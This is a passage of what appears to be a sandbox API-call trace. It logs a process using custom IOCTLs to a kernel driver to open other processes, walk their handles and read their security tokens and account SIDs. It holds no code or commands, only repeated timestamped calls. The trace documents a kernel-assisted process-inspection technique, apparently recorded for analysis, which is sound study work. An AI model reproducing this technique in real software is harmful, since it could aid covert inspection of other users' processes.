Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.803] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.803] PsReleaseProcessExitSynchronization () returned 0x2 [0137.803] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0137.803] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.803] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.803] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.803] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.803] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0137.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.803] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0137.803] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.803] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0137.803] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.803] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.804] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.804] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.804] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.805] CloseHandle (hObject=0xc8) returned 1 [0137.805] CloseHandle (hObject=0xc0) returned 1 [0137.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.805] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.805] PsAcquireProcessExitSynchronization () returned 0x0 [0137.805] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0) [0137.805] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0137.805] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.805] PsReleaseProcessExitSynchronization () returned 0x2 [0137.805] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0137.805] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.805] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0137.805] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.805] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.806] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.806] PsAcquireProcessExitSynchronization () returned 0x0 [0137.806] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0) [0137.806] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0137.806] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.806] PsReleaseProcessExitSynchronization () returned 0x2 [0137.806] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0137.806] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.806] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0137.806] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.806] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.806] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.806] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.806] PsAcquireProcessExitSynchronization () returned 0x0 [0137.806] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880054735d0) [0137.806] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.806] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.806] PsReleaseProcessExitSynchronization () returned 0x2 [0137.806] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0137.806] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.806] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.806] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.806] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.806] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0137.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.806] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0137.806] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.806] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0137.806] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.806] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.806] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.807] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.807] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.808] CloseHandle (hObject=0xc8) returned 1 [0137.808] CloseHandle (hObject=0xc0) returned 1 [0137.808] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.808] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.808] PsAcquireProcessExitSynchronization () returned 0x0 [0137.808] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0) [0137.808] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0137.808] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.808] PsReleaseProcessExitSynchronization () returned 0x2 [0137.808] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0137.808] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.808] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0137.808] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.808] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.808] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.809] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.809] PsAcquireProcessExitSynchronization () returned 0x0 [0137.809] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0) [0137.809] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0137.809] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.809] PsReleaseProcessExitSynchronization () returned 0x2 [0137.809] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0137.809] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.809] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0137.809] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.809] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.809] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.809] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.809] PsAcquireProcessExitSynchronization () returned 0x0 [0137.809] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054735d0) [0137.809] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.809] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.809] PsReleaseProcessExitSynchronization () returned 0x2 [0137.809] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0137.809] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.809] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.809] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.809] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.809] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0137.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.809] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0137.809] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.809] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0137.809] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.809] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.809] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.810] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.810] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.811] CloseHandle (hObject=0xc8) returned 1 [0137.811] CloseHandle (hObject=0xc0) returned 1 [0137.811] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.811] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.811] PsAcquireProcessExitSynchronization () returned 0x0 [0137.811] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0) [0137.811] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0137.811] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.811] PsReleaseProcessExitSynchronization () returned 0x2 [0137.811] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0137.811] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.811] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0137.811] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.811] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.811] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0137.812] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.812] PsAcquireProcessExitSynchronization () returned 0x0 [0137.812] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0) [0137.812] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0137.812] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.812] PsReleaseProcessExitSynchronization () returned 0x2 [0137.812] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0137.812] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.812] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0137.812] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.812] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.812] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.812] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.812] PsAcquireProcessExitSynchronization () returned 0x0 [0137.812] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054735d0) [0137.812] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.812] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.812] PsReleaseProcessExitSynchronization () returned 0x2 [0137.812] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0137.812] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.812] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.812] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.812] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.812] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0137.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.812] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0137.812] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.812] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0137.812] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.812] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.812] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.813] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.813] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.814] CloseHandle (hObject=0xc8) returned 1 [0137.814] CloseHandle (hObject=0xc0) returned 1 [0137.814] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.814] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.814] PsAcquireProcessExitSynchronization () returned 0x0 [0137.814] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054735d0) [0137.814] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0137.814] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.814] PsReleaseProcessExitSynchronization () returned 0x2 [0137.814] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0137.814] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.814] 